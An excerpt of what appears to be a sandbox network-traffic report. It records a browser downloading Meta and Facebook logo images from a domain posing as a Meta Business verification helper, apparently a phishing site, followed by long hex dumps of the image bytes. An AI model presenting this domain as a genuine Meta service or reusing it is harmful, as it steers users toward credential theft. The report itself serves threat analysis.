2025-03-13 09:50:42 UTC	1371	IN	Data Raw: 1e f0 96 70 97 09 49 92 24 49 92 76 a5 06 5c 05 bc 3c cb 8b 5a ec 30 ea 4d 16 58 da 2b 59 5e 9c 08 bc 63 ea dd d8 59 24 49 92 24 49 5d 6f 11 f0 06 e0 fc d8 41 d4 9b 92 d8 01 d4 7b b2 bc 58 07 7c 1c 78 72 ec 2c 92 24 49 92 a4 9e 72 13 f0 d2 56 33 fd 4a ec 20 ea 2d 4e 60 69 8f 84 c5 7b ef b1 bc 92 24 49 92 24 ed 85 f5 40 33 cb 8b f5 b1 83 a8 b7 58 60 69 b7 65 79 b1 10 c8 81 0b 62 67 91 24 49 92 24 f5 ac c7 03 ef c9 f2 62 55 ec 20 ea 1d 16 58 da 2d 61 d1 de e5 c0 15 40 3d 76 1e 49 92 24 49 52 4f 3b 1f 78 7d 96 17 0b 62 07 51 6f b0 c0 d2 ee 3a 07 78 5d 58 bc 27 49 92 24 49 d2 be a8 02 bf 0c 5c ee 9d 09 b5 3b 2c b0 f4 88 b2 bc 38 19 68 02 ab 63 67 91 24 49 92 24 f5 8d 85 c0 1b 81 67 c6 0e a2 ee e7 5d 08 f5 b0 b2 bc 58 0b 7c 02 78 5a ec 2c 92 24 49 92 a4 be f4 Data Ascii: pI$Iv\<Z0MX+Y^cY$I$I]oA{X\|xr,$IrV3J -N`i{$I$@3X`ieybg$I$bU X-a@=vI$IRO;x}bQo:x]X'I$I\;,8hcg$I$g]X\|xZ,$I
2025-03-13 09:50:42 UTC	1371	IN	Data Raw: 18 20 59 5e 9c 0f fc 1e b0 22 76 16 49 92 a4 69 9d 19 0b cb 2b c9 8e 47 59 af 91 ac 5c 94 74 b2 b4 32 96 a5 49 6d f5 d2 4a fd d0 e5 c9 f6 c3 f7 af 4e 2e 5f 98 2c 58 d4 a0 9a 8e 24 93 0b 1b 49 59 4d 76 ac c5 f0 ba 36 be 4e 59 32 39 de 86 d1 89 32 d9 3a 56 d6 77 bc 3f 49 b9 75 ac dc b6 75 ac 9c bc 63 4b c9 ed 45 39 72 e7 e6 72 68 ea fd 6d e3 e5 f8 d4 f3 c5 68 c9 c6 6d 34 8a d1 b2 ba 65 6c 47 d1 55 ce 98 b2 4b 3a e1 cf c7 cc 92 cb c9 2e 69 e0 6d 03 de 04 7c a8 d5 4c 1f 34 99 aa fe e3 0e ac 01 91 e5 c5 d1 c0 af 59 5e 49 92 a4 58 ca 5d 2c 18 af 55 60 ff c5 c9 e4 f2 85 49 e7 80 25 95 fa fa fd 2b 93 47 1f 50 19 5d b3 b4 b2 60 f9 c2 24 d9 7f 71 52 59 32 92 24 95 9d 65 c5 c8 03 3e a4 d7 b2 dd a5 92 24 0c 35 6a 3b 26 df 58 32 72 bf 6d 59 0b 77 f5 2f b4 4b 92 f1 c9 Data Ascii: Y^"vIi+GY\t2ImJN._,X$IYMv6NY292:Vw?IuucKE9rrhmhm4elGUK:.im\|L4Y^IX],U`I%+GP]`$qRY2$e>$5j;&X2rmYw/K
2025-03-13 09:50:42 UTC	1371	IN	Data Raw: a9 3b 4d 1f 0f 9c b2 a8 91 94 47 67 95 f6 a9 87 56 cb d3 d7 d7 ca 23 b3 4a 75 d9 82 a4 e2 35 a2 34 b7 2a 89 ab b0 a4 39 f6 28 e0 2d 59 5e 5c da 6a a6 3f 8b 1d 46 b3 c3 8b 93 3e 91 e5 c5 d4 d7 c0 97 00 17 3b da 2f 49 92 1e 68 fa ee 81 0b 1b 94 87 ae a8 74 9e b8 ae 36 79 fa 11 b5 ea 09 6b 2b 65 3a 9c d4 bc 7e 90 24 f5 99 a7 00 d7 65 79 f1 ab ad 66 3a 1a 3b 8c f6 9d 05 56 ff 38 0d b8 1e 18 89 1d 44 92 24 75 87 e9 23 82 f5 2a e5 81 fb 55 ca 27 1e 56 9d 7c ea fa 5a e5 94 43 aa e5 f2 85 c9 50 25 b1 b4 92 24 f5 ad 0a 70 39 f0 4d e0 53 b1 c3 68 df 59 60 f5 81 2c 2f 56 01 6f 01 0e 89 9d 45 92 24 c5 d7 29 77 8e 53 2d 1e 4e ca 13 d6 56 27 cf 38 b2 ca 19 47 d6 ca b5 fb 55 6a 43 55 77 5a 49 92 06 c6 12 20 cf f2 e2 9b ad 66 fa ed d8 61 b4 6f 2c b0 7a 5c 96 17 75 e0 5a Data Ascii: ;MGgV#Ju549(-Y^\j?F>;/Iht6yk+e:~$eyf:;V8D$u#U'V\|ZCP%$p9MShY`,/VoE$)wS-NV'8GUjCUwZI fao,z\uZ
2025-03-13 09:50:42 UTC	1371	IN	Data Raw: dd e5 0c e0 72 8b 45 49 92 ba df 8e a9 ab 21 3a 17 6e a8 b7 af 3e 7d 28 79 d4 72 f7 5c 49 92 d4 47 ce 07 fe d9 a3 84 dd c3 a2 a4 4b 64 79 71 40 38 3a b8 22 76 16 49 92 f4 d0 ca 50 5e ad df bf d2 79 cf f9 c3 93 ef 3c b7 51 b5 bc 92 24 a9 ef 0c 03 d7 64 79 f1 98 d8 41 b4 93 05 56 17 c8 f2 62 ea a2 f7 97 81 53 63 67 91 24 49 0f ad dc 79 87 41 ce 3b ae 36 f1 b1 17 8e b4 9f ff d8 7a 7d 64 28 f1 7a 4a 92 a4 fe 74 78 d8 87 b5 28 76 10 79 84 b0 5b 3c 09 78 05 50 8f 1d 44 92 24 ed 5a a7 84 fd 17 27 9d 57 3e 69 a8 fd a2 93 eb 95 74 d8 25 ed 92 24 0d 80 e7 84 bb 12 7e 3c 76 90 41 e7 77 0c 23 cb f2 62 39 70 3d b0 3a 76 16 49 92 f4 60 65 b9 f3 71 d2 c1 d5 ce 47 2f 1a 29 af 78 e2 50 d5 f2 4a 92 a4 81 b1 10 b8 36 cb 8b 23 63 07 19 74 16 58 11 65 79 91 00 2f 03 ce 8c 9d Data Ascii: rEI!:n>}(yr\IGKdyq@8:"vIP^y<Q$dyAVbScg$IyA;6z}d(zJtx(vy[<xPD$Z'W>it%$~<vAw#b9p=:vI`eqG/)xPJ6#ctXey/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49770	103.176.25.236	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:50:42 UTC	434	OUT	GET /img/fb_round_logo.png HTTP/1.1 Host: metabussiness-helper-verify24h-now.abaytravel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:50:43 UTC	257	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:50:38 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Last-Modified: Thu, 23 May 2024 15:29:14 GMT ETag: "a6b4-61920b6a24680" Accept-Ranges: bytes Content-Length: 42676 Content-Type: image/png
2025-03-13 09:50:43 UTC	7935	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 b0 00 00 04 b0 08 06 00 00 00 eb 21 b3 cf 00 00 01 85 69 43 43 50 49 43 43 20 70 72 6f 66 69 6c 65 00 00 28 91 7d 91 3d 48 c3 50 14 85 4f 53 b5 22 15 07 3b 88 08 66 a8 4e 16 44 45 04 17 ad 42 11 2a 84 5a a1 55 07 93 97 fe 08 4d 1a 92 14 17 47 c1 b5 e0 e0 cf 62 d5 c1 c5 59 57 07 57 41 10 fc 01 71 75 71 52 74 91 12 ef 4b 0a 2d 62 7c 70 79 1f e7 bd 73 b8 ef 3e 40 a8 95 98 66 b5 8d 02 9a 6e 9b a9 44 5c cc 64 57 c4 d0 2b c2 e8 a0 9a c6 a0 cc 2c 63 56 92 92 f0 5d 5f f7 08 f0 fd 2e c6 b3 fc ef fd b9 ba d5 9c c5 80 80 48 3c c3 0c d3 26 5e 27 9e dc b4 0d ce fb c4 11 56 94 55 e2 73 e2 11 93 1a 24 7e e4 ba e2 f1 1b e7 82 cb 02 cf 8c 98 e9 d4 1c 71 84 58 2c b4 b0 d2 c2 ac 68 6a c4 13 c4 51 55 d3 29 5f c8 78 ac Data Ascii: PNGIHDR!iCCPICC profile(}=HPOS";fNDEB*ZUMGbYWWAquqRtK-b\|pys>@fnD\dW+,cV]_.H<&^'VUs$~qX,hjQU)_x
2025-03-13 09:50:43 UTC	8000	IN	Data Raw: 8d 62 e0 e9 c0 eb d2 ac 48 8c 43 f3 f9 89 28 cd b9 34 2b 2a c0 b3 81 57 03 a3 26 22 49 92 24 49 5d 2b 06 2e 05 fe 28 cd 8a 05 c6 a1 f9 fa 24 94 e6 54 9a 15 31 70 21 f0 06 60 89 89 48 92 24 49 52 d7 ab 03 7f 08 5c d1 39 4d 23 cd 29 0b 2c cd 87 b3 80 b7 02 ab 8d 42 92 24 49 92 7a c6 42 ca 53 34 cf ed 9c aa 91 e6 4c 64 04 9a 4b 69 56 3c 1c f8 18 70 a8 69 48 92 24 49 52 4f ba 0d 78 29 f0 97 79 23 09 c6 a1 b9 e0 04 96 e6 4c 9a 15 c7 01 7f 82 e5 95 24 49 92 24 f5 b2 95 c0 5b 80 c7 1b 85 e6 8a 05 96 e6 44 9a 15 87 00 d7 02 27 98 86 24 49 92 24 f5 bc 03 80 77 a7 59 71 aa 51 68 2e 58 60 69 d6 a5 59 b1 16 78 3b f0 18 d3 90 24 49 92 a4 be 71 38 f0 9e 34 2b 8e 31 0a cd 36 0b 2c cd aa 34 2b 96 02 6f 04 9e 64 1a 92 24 49 92 d4 77 36 02 ef 4c b3 e2 60 a3 d0 6c b2 c0 d2 Data Ascii: bHC(4+*W&"I$I]+.($T1p!`H$IR\9M#),B$IzBS4LdKiV<piH$IROx)y#L$I$[D'$I$wYqQh.X`iYx;$Iq84+16,4+od$Iw6L`l
2025-03-13 09:50:43 UTC	8000	IN	Data Raw: f1 ce f0 a1 23 2d 3b 0f 02 00 4c 87 1d 49 7e bc db eb 1f da aa df e0 56 be f0 7c 22 c9 f3 ce 61 00 68 4e 29 c9 c1 dd 55 f9 a1 a7 66 d2 aa 22 c0 02 00 98 1e 1f cc 16 5e 85 b6 25 2f 3c bb bd 7e 95 d1 14 fe 3b 9d bf 00 d0 9c ba 24 1f 79 b0 3d 7c e2 8e 56 5b 35 00 00 a6 ca ae 24 3f d1 ed f5 77 6f c5 6f 6e ab fe cb e9 83 49 7e c8 b9 0b 00 cd 29 25 d9 3b 57 d5 5f 78 6a a6 ec 9a ad 74 5f 01 00 4c 9f 8f 27 79 76 2b 7e 63 5b f5 e2 f3 73 49 1e 75 de 02 40 73 4a 92 c7 bb ad f2 a1 07 db c2 2b 00 80 e9 74 28 a3 59 58 5b 6e a7 e8 2d 77 01 da ed f5 6f 4b f2 63 89 b9 1c 00 d0 e8 45 43 95 7c fe 3d 9d fa c0 4e dd 57 00 00 53 ec d3 19 ed 4a b8 b5 ae 45 b7 e0 81 fa 58 92 a7 9c af 00 d0 9c ba 24 f7 dc d2 1a 7e e2 91 4e 92 54 2a 02 00 30 b5 ee 4f f2 f9 e5 f9 e0 5b c6 96 0a b0 Data Ascii: #-;LI~V\|"ahN)Uf"^%/<~;$y=\|V[5$?woonI~)%;W_xjt_L'yv+~c[sIu@sJ+t(YX[n-woKcEC\|=NWSJEX$~NT*0O[
2025-03-13 09:50:43 UTC	8000	IN	Data Raw: 00 00 00 1a f6 ca c9 7a 76 7e 90 4a 7e 05 d0 0c 01 16 00 00 40 83 4a 32 38 7a b6 cc d7 36 67 01 68 8c 00 0b 00 00 a0 41 17 16 4a 7d ec 5c 3d d4 7d 05 d0 9c 8e 12 00 00 00 34 e7 d4 85 32 f3 fa 99 32 63 fd 20 c0 4d 29 49 2e bc fd 81 0e 2c 00 00 80 06 9d 9d 2f f5 5b fd 52 b5 04 58 00 37 a3 24 39 f1 f6 07 02 2c 00 00 80 06 9d 38 5f 2e ce 0f 4a ad 12 00 37 ed 3b d3 04 05 58 00 00 00 0d 7a e9 78 dd 19 d6 d1 7f 05 d0 20 01 16 00 00 40 83 be 71 bc de 39 10 60 01 34 4a 80 05 00 00 d0 90 61 c9 e0 8d b3 65 50 17 b5 00 68 d2 e5 01 d6 f9 24 a7 95 04 00 00 60 7d ce cf 97 a5 93 e7 cb a2 f6 2b 80 66 75 2e fb ff 61 92 25 25 01 00 00 58 9f 63 fd 32 fb e6 b9 3a 95 04 0b a0 09 df e9 67 ed a8 05 00 00 40 33 4e 9c 2f ad 93 17 4a d5 12 60 01 dc ac 3a c9 f1 b7 3f 30 03 0b 00 00 Data Ascii: zv~J~@J28z6ghAJ}\=}422c M)I.,/[RX7$9,8_.J7;Xzx @q9`4JaePh$`}+fu.a%%Xc2:g@3N/J`:?0
2025-03-13 09:50:43 UTC	8000	IN	Data Raw: f9 d0 b5 17 55 f7 4a 03 00 00 00 f8 2e 4e 55 2f ab ae 11 c5 99 53 60 9d bd f7 57 ef 16 03 00 00 00 f0 5d 7c a2 7a c3 7c 27 17 67 48 81 75 96 a6 71 38 52 bd b8 ba 45 1a 00 00 00 c0 37 79 a0 7a e1 34 0e 37 8b e2 ec 28 b0 16 e3 93 d5 6b 2a 6d 2a 00 00 00 f0 75 ef cb ae ad 85 50 60 2d c0 34 0e a7 aa 57 54 57 49 03 00 00 00 a8 6e ab 9e 3f 8d c3 fd a2 38 7b 0a ac 05 99 c6 e1 0b cd b6 12 1e 93 06 00 00 00 6c b4 ed 66 3b b5 3e 2e 8a c5 50 60 2d d6 b9 d5 87 c5 00 00 00 00 1b ed f3 d5 2b a7 71 38 21 8a c5 50 60 2d d0 34 0e 77 55 cf af ee 91 06 00 00 00 6c a4 63 cd 06 b7 7f 5e 14 8b a3 c0 5a bc 0f 55 e7 88 01 00 00 00 36 d2 85 cd 76 68 b1 40 0a ac 05 9b c6 e1 58 f5 c2 ea 3a 69 00 00 00 c0 46 b9 bb 7a ee 7c 87 16 0b a4 c0 da 05 d3 38 7c ae 7a 49 75 4a 1a 00 00 00 b0 Data Ascii: UJ.NU/S`W]\|z\|'gHuq8RE7yz47(kmuP`-4WTWIn?8{lf;>.P`-+q8!P`-4wUlc^ZU6vh@X:iFz\|8\|zIuJ
2025-03-13 09:50:43 UTC	2741	IN	Data Raw: ac 90 24 49 ff 67 1f f0 16 b1 db ea 29 e0 7d c7 04 25 a9 fb 18 60 49 52 17 4a 63 0e 1f 03 0f e6 45 f5 28 70 23 d1 95 f5 63 60 11 70 8a 55 92 24 f5 b1 16 f0 09 f0 2c b1 db ea 25 6f 13 94 a4 ee 66 80 25 49 5d ae 6c 66 07 80 17 f2 a2 5a 0e fc 1a b8 97 58 fa 7e 13 70 ba 15 92 24 f5 91 83 c0 6a e0 71 e0 09 60 7d d9 cc 0e 59 16 49 ea 7e 06 58 92 d4 23 ca 66 36 0e bc 07 bc 97 17 d5 43 c0 cd 44 90 75 17 b0 18 98 66 95 24 49 bd fa 36 08 bc 4c 2c 65 7f 89 58 ca 3e 61 59 24 a9 77 18 60 49 52 2f 7e 8a 6f 66 bb 88 a5 ef cf 01 17 11 37 17 fe 1c b8 16 c8 ac 90 24 a9 07 8c 00 ab 80 7f a5 33 54 36 b3 83 96 45 92 7a 93 01 96 24 f5 b0 d4 95 b5 1e 58 9f 17 d5 03 c4 ae ac fb 81 1f 02 17 e0 0d 86 92 a4 ee d2 22 76 40 be 08 3c 46 ec b6 fa d4 b2 48 52 ef 33 c0 92 a4 3e 91 96 d7 Data Ascii: $Ig)}%`IRJcE(p#c`pU$,%of%I]lfZX~p$jq`}YI~X#f6CDuf$I6L,eX>aY$w`IR/~of7$3T6Ez$X"v@<FHR3>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49769	103.176.25.236	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:50:42 UTC	435	OUT	GET /img/meta-logo-grey.png HTTP/1.1 Host: metabussiness-helper-verify24h-now.abaytravel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:50:43 UTC	259	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:50:38 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Last-Modified: Thu, 23 May 2024 15:29:10 GMT ETag: "19c27-61920b6653d80" Accept-Ranges: bytes Content-Length: 105511 Content-Type: image/png
2025-03-13 09:50:43 UTC	7933	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 84 00 00 00 f0 08 06 00 00 00 58 15 aa 71 00 00 14 a9 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 65 78 69 66 00 00 78 da a5 9a 69 96 1b b9 95 85 ff 63 15 5e 02 e6 61 39 00 1e 70 4e ef c0 cb f7 77 41 4a 2e a9 ca c7 5d dd 4c 25 49 91 11 08 e0 0d 77 40 a4 3b ff fc 9f eb fe c1 23 0f 5f 5d 2e ad d7 51 ab e7 91 47 1e 71 f2 a6 fb cf 63 be e7 e0 f3 7b 7e 8f 9e 7d fa 7e fa cb e7 ee 7e cf f1 91 8f 74 48 fa 9e 50 3f af e1 c7 e7 df 13 7e bc 86 c9 bb f2 87 81 fa fe 7e b1 7e fd 62 e4 ef f8 fd b7 81 e2 e7 25 69 46 7a 6f df 81 c6 77 a0 14 3f 5f 84 ef 00 f3 b3 2c 5f 47 6f 7f 5c c2 3a 9f 57 fb b1 92 fe f9 75 7a ca fd d7 69 ff e9 ff 8d e8 59 e1 3a 29 c6 93 42 f2 3c a7 f4 9d 40 d2 6f 72 69 f2 45 e4 Data Ascii: PNGIHDRXqzTXtRaw profile type exifxic^a9pNwAJ.]L%Iw@;#_].QGqc{~}~~tHP?~~~b%iFzow?_,_Go\:WuziY:)B<@oriE
2025-03-13 09:50:44 UTC	8000	IN	Data Raw: 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2025-03-13 09:50:44 UTC	8000	IN	Data Raw: 45 14 a2 12 9a cd 04 4d cb bd 07 f6 0f 5f f0 c4 43 ab cf 66 e6 40 46 e8 b5 67 ed b6 c1 b9 1b 9f 5b fb cb 51 60 ce 4d d9 15 ad 63 bf 80 05 41 eb 00 5a 07 00 14 ac e5 17 cd df ad 14 d2 63 95 4a da b9 11 a6 b5 93 da 41 61 46 e3 b4 49 83 20 40 10 04 08 4c 94 67 f1 e4 02 0f be 8d 8a eb f8 9a cb 45 e2 a1 9f 27 1d d8 95 f2 6b a7 bc 86 56 76 47 04 41 04 21 70 ed f5 3f 39 eb f6 bb 56 fe 69 a1 d2 fb 7e 4b 6a a0 de 4c 60 82 10 0c 42 92 5a df 44 7e 8a 53 db 54 b7 b7 4e 31 f5 5a 0d cf b1 f8 7b 7c 88 05 02 33 23 0c c3 76 2f ab 96 58 f1 8b 07 8d 20 08 d1 dd db 83 66 92 22 c9 1c 52 cb f3 12 c6 87 1e 5f fd c4 7f f8 e6 bf fc e4 1c 66 7e cd 53 2f 6e 5a b9 f2 c4 3b 1f be ef 0b 63 23 e3 1f 0c c3 c2 d2 b1 b1 09 2a 96 2b 30 61 84 46 9c 22 ce 5b 36 f8 56 20 ba c3 8e 07 53 c6 b1 Data Ascii: EM_Cf@Fg[Q`McAZcJAaFI @LgE'kVvGA!p?9Vi~KjL`BZD~STN1Z{\|3#v/X f"R_f~S/nZ;c#*+0aF"[6V S
2025-03-13 09:50:44 UTC	8000	IN	Data Raw: 95 ae 3e 63 2d 23 49 32 04 41 d0 76 0e 55 64 fc 58 29 82 23 c0 d1 64 74 12 e4 f2 e8 a0 6f 0d c2 b0 d0 00 d8 a5 68 c6 b5 5d 3d bd e5 9b de fb ee 0b be 79 c5 15 57 ec 7c 33 5c a4 7f fe 67 bf bb 66 76 6f cf 37 b3 66 7d 4d ff 40 6f ad d9 6c c2 5a 7b 58 21 78 f8 5b ea e4 f8 12 51 db 8c 27 0c 23 34 1a 31 ca 95 9e 62 a4 0a 17 dd 76 f7 ca 5f dd bd 9b 67 c9 f4 f8 c6 a6 65 7e e5 a3 f5 0e 44 da 47 f1 8b c5 39 c3 83 c3 ef ff de f7 7e ba 4c 8e d2 d1 b1 6e d7 ae 65 9b 37 6f fb 85 24 e5 25 13 d5 1a 62 0b 04 61 01 71 6a c1 a4 fd a3 c3 58 46 81 da d9 16 93 8f e9 ae 2e 6e da e3 38 89 59 c5 4c 4e 16 c2 c2 1b 87 e3 95 36 9a 24 89 5c 07 82 f0 66 12 84 8f ae 7d 61 d1 a3 ab 1e fb 7c 7f df c0 db 1b 69 5a 0c 0b 45 b0 03 38 f7 f8 d6 61 d0 5e 14 77 d6 10 be 5c 51 48 44 08 82 c0 3f Data Ascii: >c-#I2AvUdX)#dtoh]=yW\|3\gfvo7f}M@olZ{X!x[Q'#41bv_ge~DG9~Lne7o$%baqjXF.n8YLN6$\f}a\|iZE8a^w\QHD?
2025-03-13 09:50:44 UTC	8000	IN	Data Raw: 2c e6 35 f8 fc 86 a3 f4 53 fa 1e 72 99 e5 06 56 0a b2 01 4c 12 93 e7 4d 1e 18 18 90 c7 c0 f9 a8 1e 7f fc f1 19 7f fc 95 6f 5e d7 b3 af fb da 62 a5 7c 2e 33 a6 5a 83 8a 94 1e 20 1c 73 4f 27 6e 3c 7d df 83 49 45 ed 2c 13 2c 03 04 01 12 69 64 9d 6d ca ba 68 00 42 01 91 ae 21 91 02 c0 74 f5 90 48 81 b4 fb 77 02 02 0c 8b 62 a9 82 44 eb b4 16 39 23 8a 35 40 02 e5 96 36 18 30 76 ed ed 6d 97 e0 76 a9 8a 33 77 ed d9 73 e1 3d f7 3d f4 b1 95 2b 5f 78 fc c1 65 cb ee f9 f0 c2 85 9b 0e 36 62 58 a8 a3 55 28 ef 64 5f 14 a6 c4 c6 b6 10 f9 59 bc 33 a5 9a cb 34 81 3b 53 f3 4e ef 66 d8 7c dd 64 94 73 c0 29 50 eb 38 11 9e af 8a 26 12 2d 9a 65 0b f0 de 4a 4b 1f b5 80 70 e9 f2 e5 27 85 da 2c 0a eb d1 e4 82 5f 48 95 10 c5 a0 f1 1a ba 01 0f 8a c6 48 16 82 04 c0 84 a8 56 47 6b 5b Data Ascii: ,5SrVLMo^b\|.3Z sO'n<}IE,,idmhB!tHwbD9#5@60vmv3ws==+_xe6bXU(d_Y34;SNf\|ds)P8&-eJKp',_HHVGk[
2025-03-13 09:50:44 UTC	8000	IN	Data Raw: 2f b5 b6 4f ba b8 b7 5a 2b 1a 12 90 be 0f 06 a1 bf 56 43 3d 8e e0 17 0b 90 be 84 d5 f1 20 b5 c1 bc 76 1d 38 a7 1c 1a b6 20 09 18 d6 d0 36 71 11 37 4f 81 94 cc f3 f7 60 2c 58 1b c0 38 55 5e 25 09 52 20 df 37 99 70 22 c1 81 17 01 17 15 80 25 c0 a4 d1 80 94 97 48 d6 19 ae 22 cf 4d 84 ab 9f c6 c8 eb 4a b2 60 24 36 01 24 83 85 cd 1f 99 0c 98 06 47 58 1c 1b 83 60 4c 1a ed 27 8b 30 aa c1 b2 86 f4 04 c2 38 82 b6 16 e5 72 0b fa fb fa 02 48 7f 4e a5 d8 fa 89 25 cf 3e 7b d5 92 25 bb 8f 08 63 e3 54 33 d1 1a 98 48 0a cb ce 61 62 f2 bb c2 12 46 28 f4 ee e4 57 98 b2 62 f3 ca 49 fe 43 c0 05 94 18 6c dc 58 4b 01 58 cd f0 55 e0 ce 21 d3 00 92 79 ae e1 d0 73 73 98 aa 7c 43 c1 91 39 83 0b 4e f9 d7 f7 7d 58 6d 20 18 f0 84 07 b2 04 1d 69 28 e1 41 42 c0 26 06 82 25 14 79 00 7b Data Ascii: /OZ+VC= v8 6q7O`,X8U^%R 7p"%H"MJ`$6$GX`L'08rHN%>{%cT3HabF(WbIClXKXU!yss\|C9N}Xm i(AB&%y{
2025-03-13 09:50:44 UTC	8000	IN	Data Raw: 65 d3 28 97 0a 90 44 25 a9 cc 86 4c 46 fc 70 e9 e2 45 df fc f2 97 3f fd d2 d9 0e 06 6b ce 51 fb 5f be f8 f9 b7 6f bb fe 7d df 27 69 be 97 ef ed 5e 63 6d d0 07 58 44 5d 32 16 a0 68 8f d9 1a 12 8b 5a df 46 08 01 8a db ba 93 2b 91 ad 10 f1 4f 22 89 72 29 80 61 4c 2c 9b e0 f6 67 56 ad be 6e 3c af 11 96 52 0a 66 59 0b 9b 1e a0 13 47 03 af d1 84 83 03 fe 2c 35 c2 14 9f 5b 1b 6b 98 b1 62 c5 da d6 37 df 7a fb b7 40 62 3e b3 54 8c 64 c2 62 9d cb 11 e4 4d a8 72 d5 32 8b 52 0c ab 8c fd 81 1a bb 94 49 7b 20 06 02 bf 04 02 c3 73 90 0f 4a fd af 67 a4 fd d6 fc cb e6 7e f3 cf fe e8 0f 1f 3f 9b c1 e0 a0 3d c7 9f 7d e0 ae 9d 5f fc f4 7d 3f b8 76 c1 35 7f da 54 97 fd a1 09 c3 37 26 b6 b5 16 7b 7b 7b 10 84 65 34 34 e6 c0 26 42 82 9c 08 65 22 1d 83 7c 8c 87 7d a5 f6 1a 5f e3 Data Ascii: e(D%LFpE?kQ_o}'i^cmXD]2hZF+O"r)aL,gVn<RfYG,5[kb7z@b>TdbMr2RI{ sJg~?=}_}?v5T7&{{{e44&Be"\|}_
2025-03-13 09:50:44 UTC	8000	IN	Data Raw: f2 07 bc 6c ee 96 72 a9 dc e8 b9 69 48 a9 70 f4 e8 51 a4 d3 b1 ef 6e 2c a4 ac 32 c0 11 11 60 2c c8 f2 00 79 8f 54 2a 05 21 04 0a 85 02 32 99 14 48 30 82 d0 87 eb a6 ba 8c f1 5f bd f9 e6 6b 7f 4d 44 fe e0 7b b8 eb e6 9b f7 36 37 34 2d 0b 7d bd 31 93 49 05 09 7d b8 94 b2 c2 a4 36 98 32 79 b8 60 34 ce 28 0e a0 ca 77 1c 07 be ef 83 39 c9 e2 30 a4 94 50 8e 87 30 d4 50 4a 4d 60 cb 4b 9e 7d 64 d9 f5 e7 3b c1 cc fc 79 f3 f2 4a aa ae 74 2a 53 ce e7 f3 d0 5a 43 c5 99 e4 28 37 c8 c7 30 11 31 cd 72 45 a4 be 1a 20 02 04 1d 1a b8 d2 6b 39 b2 f7 f0 39 0d 19 0d 45 18 9b 28 1a 40 ac 34 5a 52 a4 91 1c f8 da 24 59 60 98 67 9e c6 43 e2 4b 9f 7f 70 47 5b 43 f3 e3 81 1f ee 62 26 0e fc 32 12 92 19 6b 22 8d 4a 62 80 2d 83 44 c4 5a 61 ac 81 90 a2 46 d6 c0 56 ee 3b 21 73 62 66 b8 Data Ascii: lriHpQn,2`,yT!2H0_kMD{674-}1I}62y`4(w90P0PJM`K}d;yJtSZC(701rE k99E(@4ZR$Y`gCKpG[Cb&2k"Jb-DZaFV;!sbf
2025-03-13 09:50:44 UTC	8000	IN	Data Raw: 4f 2e 3e 50 ee 34 28 c4 0c ef 24 ad 6f da 74 b4 59 71 a7 55 40 a8 aa d1 7f fa 9b ff 7a e3 e4 f4 e4 6d f5 da c0 d6 bc 00 4f 60 66 34 1a 8d b6 71 2c 5b 73 f2 3c 6f b7 4f cd ef d3 0a d4 03 91 31 c1 91 f2 02 f5 98 8a 6a d1 33 7b ae bf e2 ee e5 9a b7 f9 f8 67 6e fd e5 77 be 3e 71 df 91 23 47 cf 8b a3 da d9 71 9c 04 f2 55 41 3b 2b 33 17 2c 06 f3 0c d2 cf 95 27 ed 08 08 c7 c7 c7 51 a9 56 d1 ca 1c a2 28 b2 20 7d df be 77 0f fd eb 7f fc e6 7d 2f 63 89 38 6c d6 f2 aa 44 94 aa 06 5e af b2 6a 1f d0 21 4f 0e 70 ae d3 b9 b3 86 4c d3 bb ea fe fd e3 76 63 9e b9 5e f4 46 59 84 a3 73 1c 64 69 2a 9d e2 15 a7 20 9c ef 5e a6 f7 3c fd f4 53 07 f6 be f1 1c 29 9d 65 ad ad 97 41 61 1c c7 f0 2a 3d 67 6e 2e b7 5c d0 3b 0c 66 03 d2 02 bc 80 0c 62 cb 48 53 41 54 a9 60 6c 72 e6 a2 37 Data Ascii: O.>P4($otYqU@zmO`f4q,[s<oO1j3{gnw>q#GqUA;+3,'QV( 